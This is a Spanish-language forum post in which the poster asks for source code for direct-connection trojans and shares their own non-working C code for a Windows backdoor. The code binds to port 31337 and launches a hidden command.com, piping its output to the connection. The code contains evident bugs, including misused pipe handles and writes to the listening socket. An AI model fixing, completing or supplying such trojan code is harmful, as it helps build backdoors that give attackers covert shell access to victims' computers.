Lo que os pido es que pongais aqui algunos codes de troyanos de conex. directa o hilos que no he conseguido encontrar...
Si alguno quiere ver el codigo de las pipe que no va...
Código
Producto de el vinculo de antes. No funciona correctamente.
#include <stdio.h> #include <stdlib.h> #include <winsock.h> HANDLE Out, In, Err; HANDLE hThread[3]; DWORD IDThread[3]; STARTUPINFO Stup; SOCKET newsock; SOCKET sockfd; DWORD WINAPI Lectura(LPVOID lpvThreadParm) { char buffer; unsigned long BytesRead; int n; while(1) { ReadFile(Out, &buffer, 1, &BytesRead, NULL); n= send(sockfd, &buffer, 1, 0); } return 0; } DWORD WINAPI Escritura(LPVOID lpvThreadParm) { char buffer; unsigned long BytesRead; int n; while(1) { ReadFile(In, &buffer, 1, &BytesRead, NULL); n= send(sockfd, &buffer, 1, 0); } return 0; } DWORD WINAPI LecturaError(LPVOID lpvThreadParm) { char buffer; unsigned long BytesRead; int n; while(1) { ReadFile(Err, &buffer, 1, &BytesRead, NULL); n= send(sockfd, &buffer, 1, 0); } return 0; } int ShellCode () { CreatePipe (&Out, &Out, NULL, 0); CreatePipe (&In, &In, NULL, 0); CreatePipe (&Err, &Err, NULL, 0); Stup.cb=sizeof (Stup); Stup.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW; Stup.wShowWindow = 0; Stup.hStdOutput = Out; Stup.hStdError = Err; Stup.hStdInput = In; CreateProcess (NULL, "command.com", NULL, NULL, 0, 0, NULL, NULL, &Stup, NULL); hThread[0] = CreateThread(NULL, 0, Lectura, NULL, 0, &IDThread[0]); hThread[1] = CreateThread(NULL, 0, LecturaError, NULL, 0, &IDThread[1]); hThread[2] = CreateThread(NULL, 0, Escritura, NULL, 0, &IDThread[2]); WaitForMultipleObjects( 3, hThread, TRUE, INFINITE); CloseHandle(hThread[0]); CloseHandle(hThread[1]); CloseHandle(hThread[2]); } int main () { WSADATA wsaData; WSAStartup(MAKEWORD(2, 0), &wsaData); struct sockaddr_in host, client; int a=sizeof (struct sockaddr); sockfd=socket (2, 1, 0); host.sin_family=AF_INET; host.sin_addr.s_addr=0; host.sin_port=htons (31337); bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr)); listen (sockfd, 1); while (1) { newsock=accept (sockfd, (struct sockaddr*)&client, &a); ShellCode (); closesocket (newsock); } closesocket (sockfd); return 0; }
Si alguno tiene sugerencias, codes buenos, o vinculos interesantes, que, por favor, los publique aqui lo antes posible.
Muchas gracias a todos.